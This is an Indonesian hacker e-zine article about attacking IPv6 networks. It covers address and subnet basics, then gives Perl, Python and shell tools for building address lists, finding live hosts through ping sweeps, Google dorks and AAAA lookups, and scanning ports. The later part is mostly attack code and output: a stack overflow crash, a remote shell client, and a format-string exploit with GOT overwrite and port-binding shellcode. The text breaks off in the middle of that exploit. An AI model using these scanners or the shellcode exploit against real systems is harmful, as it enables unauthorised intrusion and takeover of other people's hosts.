Professional Documents
Culture Documents
Presents...
####################################################################
TOKET - Terbitan Online Kecoak Elektronik
Defending the classical hackers mind since 1995
Publisher : http://www.kecoak-elektronik.net
Contact : staff@kecoak-elektronik.net
####################################################################
--[2]-- Introduction
Yeah, drinking till the end! Writing till the end! and the most
important - hacking till the end!
IPv6 merupakan protokol internet yang sudah mulai digunakan tetapi masih
relatif sedikit. Pada jurnal Uninformed vol 10 HD. Moore memberikan
penjelasan tentang proses exploitasi IPv6. Beberapa bagian dari
tulisan ini memang mengacu pada tulisan HD Moore sebagai referensi
tetapi jangan salah tulisan ini bukan versi translate dari tulisan
tersebut. Sudah hampir 3 tahun saya berkenalan dengan IPv6 dan apa yang
tertulis disini adalah pengalaman pribadi yang mudah mudahan bisa
menjadi pelengkap referensi anda tentang IPv6.
Kenapa membahas IPv6? kami di kecoak elektronik ingin mengembangkan dan
mendewasakan pemahaman tentang hacking, sudah terlalu banyak referensi
hacking bagi newbie di indonesia dan sudah saatnya wacana tentang
hacking diperluas. We don't hack just by putting malicious URL kids.
That's bloodyhell cheap! After core routing infrastructure are
pwned, is this the time to bring down future internet today?!
So here we go as internet pirates, bunch of skilled people with the most
freedomship on internet...
--[3]-- IPv6
IPv6 merupakan protokol internet masa depan yang dikenalkan oleh IETF
sejak tahun 1998. Standar spesifikasi IPv6 mengacu pada draft RFC 2460.
IPv6 menggunakan 128-bit hexal yang menjadikan IP versi enam ini
memiliki jumlah alamat jauh lebih banyak dari IPv4 yaitu sekitar ~
2^128 [i].
IPv6 header format sesuai dengan RFC 2460 [ii] bisa ditunjukkan sebagai
berikut:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| Traffic Class | Flow Label |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Payload Length | Next Header | Hop Limit |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Source Address +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Destination Address +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
keterangan:
- Version 4 bit 'version' berisi nomor versi IP = 6.
- Traffic Class 8 bit 'traffic class' yang digunakan untuk
mengidentifikasi prioritas paket IPv6.
- Flow Label 20 bit 'flow label' digunakan untuk QoS
management.
- Payload Length 16 bit 'unsigned integer' yang menunjukkan
ukuran paket.
- Next Header 8 bit yang mengidentifikasi protokol
terenkapsulasi selanjutnya.
- Hop Limit 8 bit 'unsigned integer' yang nilainya selalu
berkurang 1 jika melewati sebuah router.
- Source Address 128 bit yang menunjukkan alamat asal paket.
- Destination Address 128 bit yang menunjukkan alamat tujuan paket.
Model pengalamatan IP menggunakan IP versi 6 bisa pada tipe unicast,
anycast, maupun multicast. IPv6 tidak mengenal tipe broadcast.
Pengalamatan IP menggunakan IP versi 6 mengacu pada RFC 3513 [iii].
Notasi penulisan IPv6 bisa dipelajari pada RFC 3513 dan tidak perlu
bagi saya untuk menulis ulang pada artikel ini, tetapi saya perlu
menegaskan ulang mengenai pengalokasian IPv6 yaitu:
::/128 unspecified address
::1/128 loopback address
ff00::/8 multicast address
fe80::/10 link-local unicast
fec0::/10 site-local unicast
everything else global unicast
alamat anycast dapat diambil dari alamat unicast dan tidak bisa
dibedakan secara sintaks dengan alamat unicast. Pada RFC 3513 section
2.7.1 disebutkan beberapa pre-defined alamat multicast. Alamat berikut
penting diketahui sebagai pengetahuan penunjang IPv6 discovery &
scanning.
ff01::1 semua interface-local IPv6 host
ff02::1 semua link-local IPv6 host
ff05::1 semua site-local IPv6 host
ff01::2 semua interface-local IPv6 router
ff02::2 semua link-local IPv6 router
ff02::5 semua site-local IPv6 router
Pengetahuan penting lain mengenai IPv6 adalah tentang bagaimana
melakukan perhitungan subnetting. Penjelasan mengenai perhitungan ini
dapat ditemui pada dokumen technet microsoft [iv]. Silakan rekan-rekan
mengacu pada dokumen tersebut dan mengikuti uraian langkah menghitung
subnet pada IPv6. Untuk memperjelas contoh perhitungan subnet IPv6,
berikut saya contohkan sebuah perhitungan lagi.
Sebuah jaringan IPv6 2406:a000:f0ff:4000::/50 ingin dibagi lagi dengan
4-bit subnetting maka berdasar rumusan pada dokumen technet microsoft
diperoleh:
2406:a000:f0ff:4000::
<------------>
48-bit
Untuk mendapatkan nilai F, yang harus dilakukan adalah meng AND kan
alamat IPv6 dengan prefixnya dalam bentuk biner. Misalnya untuk blok
IPv6 di atas adalah:
IPv6 2406:a000:f0ff:0100000000000000::
50-bit ffff:ffff:ffff:1100000000000000::
<------------->
48-bit
AND 2406:a000:f0ff:0100000000000000::
Network 2406:a000:f0ff:0100000000000000::
nilai F adalah hasil AND dari alamat IPv6 dengan prefix pada bit ke-49
sampai bit ke-64 yaitu 100000000000000 atau 0x4000 dalam hexal.
F=0x4000, s=4, m=50, dan f= m-48 <=> 50-48=2
Jumlah subnet n=2^s <=> 2^4 = 16
Increment i=2^(16-(f+s)) <=> 2^(16-(2+4))=1024=0x400
Prefix baru P=m+s <=> 50+4 = 54
maka ke-16 subnet tersebut adalah:
2406:a000:f0ff:4000::/54 2406:a000:f0ff:6000::/54
2406:a000:f0ff:4400::/54 2406:a000:f0ff:6400::/54
2406:a000:f0ff:4800::/54 2406:a000:f0ff:6800::/54
2406:a000:f0ff:4c00::/54 2406:a000:f0ff:6c00::/54
2406:a000:f0ff:5000::/54 2406:a000:f0ff:7000::/54
2406:a000:f0ff:5400::/54 2406:a000:f0ff:7400::/54
2406:a000:f0ff:5800::/54 2406:a000:f0ff:7800::/54
2406:a000:f0ff:5c00::/54 2406:a000:f0ff:7c00::/54
Ada beberapa website yang menyediakan kalkulasi subnetting IPv6 yaitu:
http://www.liquidalchemy.com
http://www.subnetonline.com
#!/usr/bin/perl
# buildipv6.pl is provided by Ph03n1X
# Really nasty code but work :)
use strict;
use warnings;
sub str2hex()
{
#Sub routine str2hex
my($bit) = @_;
my ($bitlo,$bithi);
if($bit =~ /-/){
my @atbit=split('-',$bit);
if(hex($atbit[0]) > hex($atbit[1])){
print "ERR! Hexal value at right of \'-\' must be higher than at left\n";
exit;
}
$bitlo = $atbit[0];
$bithi = $atbit[1];
}else{
$bitlo= $bit;
$bithi= $bit;
}
return($bitlo,$bithi);
} #End of sub routine str2hex
#Routine main
if(!$ARGV[0]){
print "USAGE:\n";
print "perl $0 <IPv6 Address Range> [<interface>]\n";
print "";
print "Ex=> perl $0 2046:f0af-f0ff:0a0a:c000-c010:0:0:0:0\n";
print "Ex=> perl $0 fe80:0:0:0:201:6cff:fe9e:e6ab-e6ff\n\n";
print "ATTENTION!\n";
print "1. You have to enter all 128-bit and can not use \'::\'\n";
print "2. Hexal value at right of \'-\' must be higher than at left\n";
print "3. If you play with reserved IPv6 - be sure you know what you do\n";
print "4. Read RFC 3513 to make sure you know what you do\n";
print "This code doesn\'t handle all error caused by not following this!\n";
exit;
}
my $iface;
if(!$ARGV[1]){
$iface="%eth0";
}else{
$iface="%" . $ARGV[1];
}
my ($c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8);
open(IPv6,">ipv6.out");
my @allbit = split(':',$ARGV[0]);
if (scalar(@allbit) !=8){
print "ERR! You have to enter all 128-bit and can not use \'::\'\n";
exit;
}
my $bit1 = $allbit[0];
my $bit2 = $allbit[1];
my $bit3 = $allbit[2];
my $bit4 = $allbit[3];
my $bit5 = $allbit[4];
my $bit6 = $allbit[5];
my $bit7 = $allbit[6];
my $bit8 = $allbit[7];
my ($bit1lo,$bit1hi) = &str2hex($bit1);
my ($bit2lo,$bit2hi) = &str2hex($bit2);
my ($bit3lo,$bit3hi) = &str2hex($bit3);
my ($bit4lo,$bit4hi) = &str2hex($bit4);
my ($bit5lo,$bit5hi) = &str2hex($bit5);
my ($bit6lo,$bit6hi) = &str2hex($bit6);
my ($bit7lo,$bit7hi) = &str2hex($bit7);
my ($bit8lo,$bit8hi) = &str2hex($bit8);
for($c1=hex($bit1lo);$c1<=hex($bit1hi);$c1++){
for($c2=hex($bit2lo);$c2<=hex($bit2hi);$c2++){
for($c3=hex($bit3lo);$c3<=hex($bit3hi);$c3++){
for($c4=hex($bit4lo);$c4<=hex($bit4hi);$c4++){
for($c5=hex($bit5lo);$c5<=hex($bit5hi);$c5++){
for($c6=hex($bit6lo);$c6<=hex($bit6hi);$c6++){
for($c7=hex($bit7lo);$c7<=hex($bit7hi);$c7++){
for($c8=hex($bit8lo);$c8<=hex($bit8hi);$c8++){
if($c1==65152){
printf ("%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8,$
iface);
printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,
$c8,$iface);
}else{
printf ("%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8);
printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c
8);
}
}
}
}
}
}
}
}
}
#End of routine main
Untuk membuat daftar list alamat IPv6 perhatikan cara pernggunaan kode
di atas sesuai petunjuk pada USAGE. Jika anda bingung itu tugas anda
mempelajari bagaimana kode ini bekerja. File yang dibuat oleh
buildipv6.pl disimpan pada file 'ipv6.out' yang isinya kurang lebih
sebagai berikut:
2001:44B8:8020:F501:250:56FE:FEB3:6631
2001:44B8:8020:F501:250:56FE:FEB3:6632
2001:44B8:8020:F501:250:56FE:FEB3:6633
2001:44B8:8020:F501:250:56FE:FEB3:6634
2001:44B8:8020:F501:250:56FE:FEB3:6635
2001:44B8:8020:F501:250:56FE:FEB3:6636
2001:44B8:8020:F501:250:56FE:FEB3:6637
(dst)
Langkah selanjutnya adalah mencari tahu/menemukan IPv6 mana saja yang
hidup/aktif. Gunakan bantuan tools 'isalive6.py' atau 'isalive6.pl'yang
juga sudah terbendle pada ipv6-hackit. Tools ini masing-masing ada pada
direktori 'ipv6-hackit/python/' dan 'ipv6-hackit/perl/'
#!/usr/bin/env python
# isalive6.py is provided by Ph03n1X
# Thread is modified from:
# Tutorial on Threads Programming with Python by Norman Matloff &
# Francis Hsu
import sys,os,re,time,threading
class ping6(threading.Thread):
ping6list = []
#Using 10 threads is just too slow.
maxthreads = 10 #But increasing this number is bad idea :)
evnt = threading.Event()
lck = threading.Lock()
def __init__(self,cnt,ip):
threading.Thread.__init__(self);
self.ip = ip
self.status = -1
self.count = cnt
def run(self):
logfile = open("isalive6.log","a")
pin,pout,perr = os.popen3("ping6 -c2 -s 0 "+self.ip,"r")
pin.close()
cmdout = pout.readlines()
igot = re.search("8 bytes from",cmdout[1])
if igot:
print str(self.count)+" : [REACHED] "+self.ip
record = str(self.count)+" : [REACHED] "+self.ip+"\n"
logfile.write(record)
else:
print str(self.count)+" : [NOT REACHED] "+self.ip
logfile.close()
ping6.lck.acquire()
ping6.ping6list.remove(self)
if len(ping6.ping6list) == ping6.maxthreads-1:
ping6.evnt.set()
ping6.evnt.clear()
ping6.lck.release()
def newthread(count,hst):
ping6.lck.acquire()
pg6 = ping6(count,hst)
ping6.ping6list.append(pg6)
ping6.lck.release()
pg6.start()
newthread = staticmethod(newthread)
def main():
if len(sys.argv) !=2:
print "Usage : python " + sys.argv[0] + " <IPv6 List File>"
sys.exit(0);
os.unlink("isalive6.log")
print time.ctime()
n = 1
input = open(sys.argv[1],"r")
for host in input:
ping6.lck.acquire()
if len(ping6.ping6list) >= ping6.maxthreads:
ping6.lck.release()
ping6.evnt.wait()
else:
ping6.lck.release()
ping6.newthread(n,host.rstrip())
n+=1
for pingle in ping6.ping6list:
pingle.join()
print time.ctime()
print "Total Host Scanned : %i"%(n)
if __name__ == '__main__':
main()
# This code is somewhat buggy when route to the unreachable network
Code isalive6.py di atas saya pikir telalu lambat ditambah lagi maximum
thread hanya 10 yang membuat proses pencarian IPv6 live host menjadi
tidak efektif. Maximum thread hanya saya batasi 10 saja karena dengan
jumlah thread > 10, kombinasi os.popen3() atau os.popen() dengan thread
sering berakibat pada terminasi eksekusi isalive6.py dengan background
problem yang sampai saat ini belum saya ketahui (ada yang mau cari tahu?).
Saya mencoba menulis ulang code tersebut dengan library scapy ternyata
juga belum memuaskan bahkan sering terjadi infinite loop pada saat
pengiriman ICMPv6 echo request dengan
sr1(IPv6(dst="xxx")/ICMPv6EchoRequest())
Sebuah cara yang lebih elegan untuk mencari live IPv6 Host di internet
yaitu dengan memanfaatkan record DNS IPv6. Sebuah IPv6 Host diwakili
oleh record AAAA. Yang saya lakukan berikut ini adalah mencari domain di
internet secara acak dengan bantuan google kemudian di test apakah
domain tersebut memiliki record AAAA. Untuk melakukan kedua aktifitas
tersebut saya membuat code 'google6.pl' dan 'get4A.sh'. Dengan kedua
code tersebut proses pencarian lebih terotomatisasi. Pertama saya
membuat daftar domain dengan google keyword inurl:ipv6.*
perl google6.pl inurl:ipv6.*
Hasil daftar domain dicatat pada file google_log-co.txt dan ditampilkan
ke stdout kira kira sebagai berikut:
www.ipv6.org.tw
tunnelbroker.net
6bone.informatik.uni-leipzig.de
www.ipv6.org
www.sixxs.net
www.cisco.com
ipv6.net
go6.net
ipv6.he.net
www.cyberciti.biz
www.global-ipv6.net
(dst)
code google6.pl adalah sebagai berikut:
#!/usr/bin/perl
# google.pl is provided by Ph03n1X
require LWP::UserAgent;
use HTTP::Message;
use strict;
use warnings;
#$proxy='http://127.0.0.1:3128';
print "Google Console\n";
if(!$ARGV[0]){
print "usage : perl $0 <dork>\n";
exit;
}
my $dork=$ARGV[0];
my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$ua->agent("MSIE/6.0 Windows");
#$ua->proxy(http => $proxy) if defined($proxy);
my $counter=0;
my $dataget="";
my $result="";
my $host="";
my $domain="";
print "Googling using keyword : $dork\n";
while($result !~ /hasil penyajian/)
{
my $googleurl="http://www.google.com/search?q=" . $dork . "&hl=id&lr=&start="
. $counter . "&sa=N";
my $grabresponse = $ua->get($googleurl);
$counter=$counter+10;
if (!($grabresponse->is_success)) {
print ($grabresponse->status_line. " [FAILURE]\n");
} else {
my @hasil = $grabresponse->as_string;
$result="@hasil";
sleep 1;
if($result =~ /tak cocok/)
{
print "no result's found!\n";
exit;
}
while($result =~ m/<h3 class=r><a href=".*?" .*?/)
{
$result =~ s/<h3 class=r><a href="(.*?)" .*?/$1/;
$host = $1;
if ($host =~ m/^http:/){
$host =~ s/http:\/\/(.*?)\//$1/;
$domain = $1;
}
if ($host =~ m/^https:/){
$host =~ s/https:\/\/(.*?)\//$1/;
$domain = $1;
}
print $domain . "\n";
open(OFILE,">>google_log-co.txt");
print OFILE $domain . "\n";
close(OFILE);
}
}
}
print "\nDONE!\n";
# End of file
#!/bin/sh
# This get4A.sh is provided by Ph03n1X
LOGFILE="4A-record.txt";
if [ -z "$1" ]
then
echo "$0 <domain list>"
exit;
fi
for DOMAIN in `cat $1`
do
echo "Digging $DOMAIN (wait)"
dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}';
dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}' >> $LOGFILE;
done
#EOF
Domain yang diketahui memiliki IPv6 dicatat pada file 4A-record.txt yang
isinya kurang lebih adalah:
[www.ipv6forum.com.] 2001:a18:1:20::42
[www.ipv6ready.org.] 2001:468:603:c001::5
[www.ipv6.org.tw.] 2001:c50:ffff:1:21a:92ff:fe43:d665
[tunnelbroker.net.] 2001:470:0:63::2
[ns2.he.net.] 2001:470:200::2
[ns3.he.net.] 2001:470:300::2
[ns4.he.net.] 2001:470:400::2
[ns5.he.net.] 2001:470:500::2
[6bone.informatik.uni-leipzig.de.] 2001:638:902:1::11
[www.m.sixxs.net.] 2001:838:1:1:210:dcff:fe20:7c7c
[ipv6.net.] 2a00:1188:3:c::80
(dst)
#!/usr/bin/perl
# isalive6.pl is provided by Ph03n1X
# I use fork() to simplify this code even it is not as effective
# as using threading in memory.
use strict;
use warnings;
use Switch;
use POSIX;
my $LOGFILE = "isalive6.log";
my $MAX_CHILD = 100;
MAIN:
{
my @IPV6LIST;
if(!$ARGV[0]){
print "usage : perl $0 <IPv6 List File>\n";
exit;
}
open(LIST,"<$ARGV[0]") or die();
chop(@IPV6LIST=<LIST>);
my $len = @IPV6LIST;
my $i = 0;
my $j = 0;
while ($j <= $len){
switch (fork()){
case (0) { doping6($j,$IPV6LIST[$j]);_exit(0); }
case (-1) { print "Can not fork!\n";_exit(-1); }
else {
if($i>$MAX_CHILD-2){
wait();$i--;
}
}
}
$i++;$j++;
}
print "Total Host Scanned : " . $i+1 . "\n";
close(LIST);
}
sub doping6
{
my($tid,$ipv6host) = @_;
open(OFILE,">>$LOGFILE");
my @pinglist = `ping6 -c2 -s0 $ipv6host`;
my $result = "@pinglist";
if($result =~ m/8 bytes from/){
print $tid . " : [REACHED] " . $ipv6host . "\n";
print OFILE "[REACHED]" . $ipv6host . "\n";
}else{
print $tid . " : [NOT REACHED] " . $ipv6host . "\n";
}
close(OFILE);
}
Hasil enumerasi IPv6 host yang aktif ditampilkan ke stdout dan disimpan
dalam file seperti hasil isalive6.py.
Tahap selanjutnya pada proses hacking setelah menemukan host aktif
adalah menemukan service/layanan/port yang aktif pada host tersebut.
Untuk melakukan scanning port pada IPv6 host, saya membuat dua buah port
scanner ditulis dalam kode python dan perl. Port scanner python
menggunakan threading untuk mempercepat proses scanning tetapi hanya
mensupport alamat IPv6 unicast dan tidak alamat IPv6 link-local. Port
scanner perl menggunakan fork untuk mempercepat proses scanning dan
mensupport baik alamat IPv6 unicast maupun multicast termasuk link-local.
Port scanner tersebut masing-masing ada di ipv6-hackit/perl/tcpscan6.pl
dan ipv6-hackit/python/tcpscan6.py.
Silakan gunakan kedua port scanner tersebut sesuai kebutuhan anda. Untuk
selanjutnya saya menggunakan tcpscan6.pl dalam melakukan scanning port.
Kode tcpscan6.pl adalah sebagai berikut:
#!/usr/bin/perl
# Port scanner tcpscan6.pl coded by Ph03n1X
#cpan IO::Socket::INET6
use IO::Socket::INET6;
use Getopt::Long;
use strict;
use warnings;
use Switch;
use POSIX;
my $MAX_CHILD = 50;
my $LOGFILE = "tcpscan6.log";
my $i=0;
sub doTcpscan6
{
my ($host,$port) = @_;
open (WFILE,">>$LOGFILE");
my $s = IO::Socket::INET6->new(PeerAddr => $host,
PeerPort => $port,
Domain => AF_INET6,
Timeout => 5);
if($s){
print "[OPEN] $host on $port\n";
print WFILE "[OPEN] $host on $port\n";
}else{
print "[CLOSE/FIREWALL] $host on $port\n";
}
close(WFILE);
}
sub doFork
{
my ($host,$port,$count) = @_;
switch(fork()){
case (0) { doTcpscan6($host,$port);_exit(0); }
case (-1) { print "Can not fork!\n";_exit(-1); }
else {
if($port>$MAX_CHILD-2){
wait();$count--;
}
}
}
}
sub usage
{
print "
TCP IPv6 Scanner
Usage :
[--help|-h] - This help
[--target|-t] - Target single IPv6 address
[--in-file|-i] - Target list of IPv6 address in file
[--port|-p] - Target port. Multiple ports separated by comma
[--range|-r] - Target range port. Ex : 100-200
\n";
}
MAIN:
{
my @IPV6LIST;
if(!$ARGV[0]){
usage();
exit;
}
my ($help,$target,$infile,$mport,$rport);
GetOptions(
'help' => \$help,
'target=s' => \$target,
'in-file=s' => \$infile,
'port=s' => \$mport,
'range=s' => \$rport,
) or die "Invalid options!! Try --help for details.\n";
if($help){
usage();
exit;
}
if($target && $infile){
print "ERROR! Can not use [--target|-t] with [--in-file|-i]\n";
exit;
}
if($mport && $rport){
print "ERROR! Can not use [--port|-p] with [--range|-r]\n";
exit;
}
my $count=1;
if($target){
if($target =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){
print $target . " is not valid IPv6 address!\n";
exit;
}
if($mport){
my @allport = split(',',$mport);
foreach my $port (@allport){
doFork($target,$port,$count);
$count++;
}
}
if($rport){
my @allport = split('-',$rport);
my $lowport = $allport[0];
my $highport = $allport[1];
if($lowport>$highport){
print "ERROR! Left port must be lower than in the right!\n";
exit;
}
for(my $i=$lowport;$i<=$highport;$i++){
doFork($target,$i,$count);
$count++;
}
}
}
if($infile){
open(RFILE,"<$infile") or die();
chop(@IPV6LIST=<RFILE>);
my $len = @IPV6LIST;
my $j=0;
for($j=0;$j<$len;$j++){
if($IPV6LIST[$j] =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){
print $IPV6LIST[$j] . " is not valid IPv6 address!\n";
exit;
}
if($mport){
my @allport = split(',',$mport);
foreach my $port (@allport){
doFork($IPV6LIST[$j],$port,$count);
$count++;
}
}
if($rport){
my @allport = split('-',$rport);
my $lowport = $allport[0];
my $highport = $allport[1];
if($lowport>$highport){
print "ERROR! Left port must be lower than in the right!\n";
exit;
}
for(my $k=$lowport;$k<=$highport;$k++){
doFork($IPV6LIST[$j],$k,$count);
$count++;
}
}
}
close(RFILE);
} #end if infile
}
PCSERV
(gdb) r
Starting program: /home/anto/k-elektronik/code/exploit/server-demo6
MSG = AAAAAAA
xæü =
MSG = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
¿4è
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0xb7fd10d0 -1208151856
ebx 0xb7fcfff4 -1208156172
esp 0xbffff7b0 0xbffff7b0
ebp 0x41414141 0x41414141
esi 0x8048830 134514736
edi 0x8048580 134514048
eip 0x41414141 0x41414141
eflags 0x10292 [ AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <netdb.h>
#include <fcntl.h>
/*
getshell6.c is provided by Ph03n1X
This code is ripped and modified from Joonbok Lee
Presentation about IPv6 Socket Programming
*/
int main(int argc, char *argv[]){
fd_set fd_read;
char buff[2048];
int n, s, c, retval, addrlen;
struct addrinfo Hints, *AddrInfo, *AI;
if(argc!=3){
printf("Usage : %s <IPv6 address> <Port>\n", argv[0]);
exit(0);
}
if(strstr(argv[1],":")==NULL){
printf("ERR : You dont enter valid IPv6 address!\n");
exit(0);
}
memset(&Hints,0,sizeof(Hints));
Hints.ai_family = AF_UNSPEC;
Hints.ai_socktype = SOCK_STREAM;
retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo);
if(retval!=0){
printf("Cannot resolve requested address\n");
exit(0);
}
for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){
if(AI->ai_family==AF_INET6){
if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){
printf("can't create socket\n");
exit(0);
}
c=connect(s,AI->ai_addr,AI->ai_addrlen);
}else{
printf("%s is not IPv6 family\n",argv[1]);
}
freeaddrinfo(AddrInfo);
}
FD_ZERO(&fd_read);
FD_SET(s, &fd_read);
FD_SET(0, &fd_read);
while(1) {
FD_SET(s,&fd_read);
FD_SET(0,&fd_read);
if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
if (FD_ISSET(s, &fd_read)) {
if((n = recv(s, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (write(1, buff, n) < 0) break;
}
if (FD_ISSET(0, &fd_read)) {
if((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (send(s, buff, n, 0) < 0) break;
}
usleep(10);
}
fprintf(stderr, "Connection lost.\n\n");
exit(0);
}
Kode di atas saya ambil dari tulisan di milw0rm [xvii] oleh Jeremy Brown
kemudian saya porting supaya bekerja pada IPv6. Coba perhatikan fungsi
snprintf() pada fungsi vulnerable(), mengacu pada file stdio.h fungsi
snprintf() adalah:
extern int snprintf (char *__restrict __s, size_t __maxlen,
__const char *__restrict __format, ...)
__THROW __attribute__ ((__format__ (__printf__, 3, 4)));
Argumen ke-3 dari fungsi snprintf() didefinisikan sebagai const char
tetapi pada fungsi vulnerable() argumen ke-3 fungsi snprintf() adalah
variable readbuff. Celakanya variable readbuff bisa dikontrol oleh user
sehingga jika dieksploitasi memungkinkan untuk mengeksekusi sembarang
kode. Kompile kode diatas sebagai berikut:
pcserv~> gcc -fno-stack-protector -o fmtserv6 fmtserv6.c
Program 'fmtserv6' saya jalankan pada PCSERV yang memiliki alamat IPv6
2010:5c0:1441:a0a:8891:afaf:7660:5401/64. Sedangkan proses exploitasi
dari alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 yang
selanjutnya saya sebut dengan PCATTCK.
Untuk mengeksploitasi format string secara remote temukan Global Offset
Table (GOT) address untuk fungsi snprintf() pada program fmtserv6 yang
vulnerable.
PCSERV
pcserv~> objdump -R fmtserv6
fmtserv6: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT __gmon_start__
0804a004 R_386_JUMP_SLOT listen
0804a008 R_386_JUMP_SLOT memset
0804a00c R_386_JUMP_SLOT __libc_start_main
0804a010 R_386_JUMP_SLOT read
0804a014 R_386_JUMP_SLOT accept
0804a018 R_386_JUMP_SLOT socket
0804a01c R_386_JUMP_SLOT getaddrinfo
0804a020 R_386_JUMP_SLOT bind
0804a024 R_386_JUMP_SLOT close
0804a028 R_386_JUMP_SLOT send
0804a02c R_386_JUMP_SLOT puts
0804a030 R_386_JUMP_SLOT snprintf
0804a034 R_386_JUMP_SLOT exit
pcserv~> ifconfig eth0|grep inet6
inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link
inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global
pcserv~> gdb -q ./fmtserv6
(gdb) r
Starting program: /home/anto/k-elektronik/code/test/fmtserv6
GOT address untuk fungsi snprintf() adalah 0x0804a030. Selanjutnya
dengan bantuan 'gdb' saya menjalankan 'fmtserv6' dan melakukan
debugging. Sebelum melakukan exploitasi lebih jauh, saya melakukan
guessing untuk menentukan offset program tersebut dari PCATTCK.
PCATTCK
attack~> ifconfig eth0|grep inet6
inet6 addr: fe80::200:1cff:fedc:fb66/64 Scope:Link
inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 Scope:Global
attack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555
AAAA%p%p%p%p%p%p%p%p%p%p
AAAA(nil)(nil)(nil)0x414141410x702570250x702570250x702570250x702570250x702570250
xa
attack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555
AAAA%4$x
AAAA41414141
Dari percobaan guessing saya memperoleh offset fmtserv6 adalah 4. Saya
menggunakan shellcode binding port yang digunakan pada exploitasi stack
based buffer overflow untuk mengambil alih kontrol program 'fmtserv6' dan
mengeksekusi '/bin/sh'. Semua sudah disiapkan, tetapi kita belum tahu
alamat register ESP yang bisa dieksploitasi agar shellcode di eksekusi
oleh register EIP. Untuk itu saya menggunakan dummy exploit pada
referensi [xvii] dan diporting agar bekerja pada IPv6 sebagai berikut:
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define GOTADDR 0x0804a030 //snprintf() --> objdump -R fmtserv
#define RETADDR 0x41414141 // return address to hit nop slide +
shellcode
#define OFFSET 4
#define SIZE 1024
char shellcode[] = /*Portbind @ 4444*/
"\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9"
"\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf"
"\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04"
"\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3"
"\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8"
"\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92"
"\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb"
"\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96"
"\xe3\xef\xd2\x65\x63\x05";
int main(int argc, char *argv[])
{
if(argc < 3) {
printf("Usage: %s host port\n", argv[0]);
return 0;
}
char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2),((char *)
GOTADDR),};
int i, high, low, len;
int n, s, c, retval, addrlen;
struct addrinfo Hints, *AddrInfo, *AI;
high = (RETADDR & 0xffff0000) >> 16;
low = (RETADDR & 0x0000ffff);
high -= 0x8;
sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET,(low - high
) - 0x8, OFFSET + 1);
